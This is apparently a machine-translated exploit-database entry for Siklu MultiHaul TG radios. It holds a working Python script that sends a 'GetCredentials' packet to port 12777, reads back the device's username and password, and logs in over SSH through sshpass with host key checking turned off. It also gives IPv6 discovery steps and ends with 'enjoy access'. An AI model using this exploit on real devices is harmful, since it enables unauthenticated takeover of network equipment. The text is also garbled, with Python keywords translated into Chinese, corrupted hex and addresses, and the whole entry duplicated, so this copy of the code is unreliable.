#利用标题: Siklu MultiHaul TG系列- 未经身份验证的凭证披露
#日期: 28-02-2024
#利用作者: semaja2
#供应商homepage: https://siklu.com/
#软件link: https://partners.siklu.com/home/frontdoor
#版本: 2.0.0
#测试在: 2.0.0
#cve :没有分配
#
# 指示
#1。执行IPv6主机检测到通过ping ping to设备附加的接口的所有主机多播地址
#
#2。查看IPv6邻居并根据MAC地址的供应商组件识别目标设备
#
#3。执行脚本
#
#4。享受访问权限
导入套接字
导入系统
导入操作系统
地址=str(sys.argv [1])#目标
端口=12777
#捕获命令,发送“ GetCredentials”以获取随机生成的用户名/密码
cmd=bytearray.fromhex('000000290FFF000100000010000100000000800800100010001000000000000000E47657444372656565656E7469616C7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')
addrinfo=socket.getAddrinfo(地址,端口,socket.af_inet6,socket.sock.sock_stream)
(family,socktype,proto,canonname,sockaddr)=addrinfo [0]
s=socket.socket(socket.af_inet6,socket.sock_stream)
s.connect(sockaddr)
S.Send(CMD)
数据=S.RECV(200)
s.close()
输出=''.join(map(chr,data))
#拆分输出,然后删除尾声,因为字符串长度始终为35
splits=output.split('#')
用户名=拆分[1] [slice(0,35,1)]
密码=拆分[2] [切片(0,35,1)]
打印('username:',用户名)
打印('passwess:',密码)
OS.System('SSHPASS -P {password} ssh -o stricthostkeychecking=no {address} -l {username}'。格式(地址=地址,用户名=用户名,password=password))))
#日期: 28-02-2024
#利用作者: semaja2
#供应商homepage: https://siklu.com/
#软件link: https://partners.siklu.com/home/frontdoor
#版本: 2.0.0
#测试在: 2.0.0
#cve :没有分配
#
# 指示
#1。执行IPv6主机检测到通过ping ping to设备附加的接口的所有主机多播地址
#
ping6 -i en7 -c 2 ff0233333:1
#2。查看IPv6邻居并根据MAC地址的供应商组件识别目标设备
#
ip -6邻居显示dev en7
`#3。执行脚本
#
python3 tg-getcreds.py FE803:336034D9333333333333333333333333333:7001%EN7
#4。享受访问权限
导入套接字
导入系统
导入操作系统
地址=str(sys.argv [1])#目标
端口=12777
#捕获命令,发送“ GetCredentials”以获取随机生成的用户名/密码
cmd=bytearray.fromhex('000000290FFF000100000010000100000000800800100010001000000000000000E47657444372656565656E7469616C7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')
addrinfo=socket.getAddrinfo(地址,端口,socket.af_inet6,socket.sock.sock_stream)
(family,socktype,proto,canonname,sockaddr)=addrinfo [0]
s=socket.socket(socket.af_inet6,socket.sock_stream)
s.connect(sockaddr)
S.Send(CMD)
数据=S.RECV(200)
s.close()
输出=''.join(map(chr,data))
#拆分输出,然后删除尾声,因为字符串长度始终为35
splits=output.split('#')
用户名=拆分[1] [slice(0,35,1)]
密码=拆分[2] [切片(0,35,1)]
打印('username:',用户名)
打印('passwess:',密码)
OS.System('SSHPASS -P {password} ssh -o stricthostkeychecking=no {address} -l {username}'。格式(地址=地址,用户名=用户名,password=password))))